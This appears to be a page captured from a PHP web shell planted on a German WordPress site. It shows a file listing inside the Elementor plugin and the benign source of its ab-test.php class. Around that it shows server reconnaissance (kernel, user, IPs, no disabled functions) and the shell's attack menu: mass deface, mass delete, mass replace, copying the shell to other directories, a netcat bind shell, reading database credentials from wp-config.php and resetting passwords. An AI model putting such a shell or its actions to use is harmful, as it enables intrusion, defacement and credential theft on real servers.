WPZ

/ web / 1 / 000 / 076 / 129 / 313906 / htdocs / wp-content / plugins / elementor / core / utils / [dxwrx-rx-r]
berkas terminal database massal sistem
/web/1/000/076/129/313906/htdocs/wp-content/plugins/elementor/core/utils/ab-test.php (2.45 KB)
<?php

namespace Elementor\Core\Utils;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

/**
 * Core A/B Testing utility class
 *
 * Provides A/B testing functionality for Core features.
 * Uses WordPress transients for caching and user-specific variation assignment.
 */
class Ab_Test {

	const PREFIX_CACHE_KEY = '_elementor_ab_test_';
	const CACHE_TTL = 90 * DAY_IN_SECONDS;

	/**
	 * Get variation for a specific test
	 *
	 * @param string $test_name The name of the A/B test
	 * @param int    $user_id Optional user ID, defaults to current user
	 * @return int Returns 1 or 2 for variation assignment
	 */
	public static function get_variation( $test_name, $user_id = null ): int {
		if ( null === $user_id ) {
			$user_id = get_current_user_id();
		}

		$variation_id = self::get_variation_id_from_cache( $test_name, $user_id );

		if ( false === $variation_id ) {
			$variation_id = self::get_random_variation();
			self::set_variation_id_from_cache( $test_name, $user_id, $variation_id );
		}

		return absint( $variation_id );
	}

	/**
	 * Check if user should see the feature (50% probability)
	 *
	 * @param string $test_name The name of the A/B test
	 * @param int    $user_id Optional user ID, defaults to current user
	 * @return bool True if user should see the feature
	 */
	public static function should_show_feature( $test_name, $user_id = null ): bool {
		$variation = self::get_variation( $test_name, $user_id );
		return 1 === $variation; // Only variation 1 sees the feature
	}

	/**
	 * Get variation ID from cache
	 *
	 * @param string $test_name The name of the A/B test
	 * @param int    $user_id User ID
	 * @return int|false Variation ID or false if not cached
	 */
	private static function get_variation_id_from_cache( $test_name, $user_id ) {
		$cache_key = self::PREFIX_CACHE_KEY . $test_name . '_' . $user_id;
		return get_transient( $cache_key );
	}

	/**
	 * Set variation ID in cache
	 *
	 * @param string $test_name The name of the A/B test
	 * @param int    $user_id User ID
	 * @param int    $variation_id Variation ID to cache
	 */
	private static function set_variation_id_from_cache( $test_name, $user_id, $variation_id ): void {
		$cache_key = self::PREFIX_CACHE_KEY . $test_name . '_' . $user_id;
		set_transient( $cache_key, $variation_id, self::CACHE_TTL );
	}

	/**
	 * Generate random variation (1 or 2)
	 *
	 * @return int Random variation ID
	 */
	private static function get_random_variation(): int {
		return mt_rand( 1, 2 );
	}
}
namawaktuukuranownerpermaksi
..
api/ 2026-11-25 08:103.25 KB 76129f60960:kundendxwrx-rx-r
document/ 2026-11-25 08:1016 KB 76129f60960:kundendxwrx-rx-r
import-export/ 2026-11-25 08:10100.8 KB 76129f60960:kundendxwrx-rx-r
promotions/ 2026-11-25 08:102.56 KB 76129f60960:kundendxwrx-rx-r
svg/ 2026-11-25 08:1018.12 KB 76129f60960:kundendxwrx-rx-r
ab-test.php 2026-11-25 08:102.45 KB 76129f60960:kunden-xw-x--x--
edt
assets-config-provider.php 2026-11-25 08:101.49 KB 76129f60960:kunden-xw-x--x--
edt
assets-translation-loader.php 2026-11-25 08:102.51 KB 76129f60960:kunden-xw-x--x--
edt
collection.php 2026-11-25 08:1010.13 KB 76129f60960:kunden-xw-x--x--
edt
exceptions.php 2026-11-25 08:10709 B 76129f60960:kunden-xw-x--x--
edt
force-locale.php 2026-11-25 08:103.55 KB 76129f60960:kunden-xw-x--x--
edt
hints.php 2026-11-25 08:1016.43 KB 76129f60960:kunden-xw-x--x--
edt
http.php 2026-11-25 08:10981 B 76129f60960:kunden-xw-x--x--
edt
plugins-manager.php 2026-11-25 08:102.84 KB 76129f60960:kunden-xw-x--x--
edt
static-collection.php 2026-11-25 08:101.09 KB 76129f60960:kunden-xw-x--x--
edt
str.php 2026-11-25 08:101001 B 76129f60960:kunden-xw-x--x--
edt
template-library-element-iterator.php 2026-11-25 08:10766 B 76129f60960:kunden-xw-x--x--
edt
template-library-import-export-utils.php 2026-11-25 08:107.2 KB 76129f60960:kunden-xw-x--x--
edt
template-library-snapshot-processor.php 2026-11-25 08:106.76 KB 76129f60960:kunden-xw-x--x--
edt
version.php 2026-11-25 08:103.78 KB 76129f60960:kunden-xw-x--x--
edt
aksi pada path manual

cwd: /web/1/000/076/129/313906/htdocs/wp-content/plugins/elementor/core/utils
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK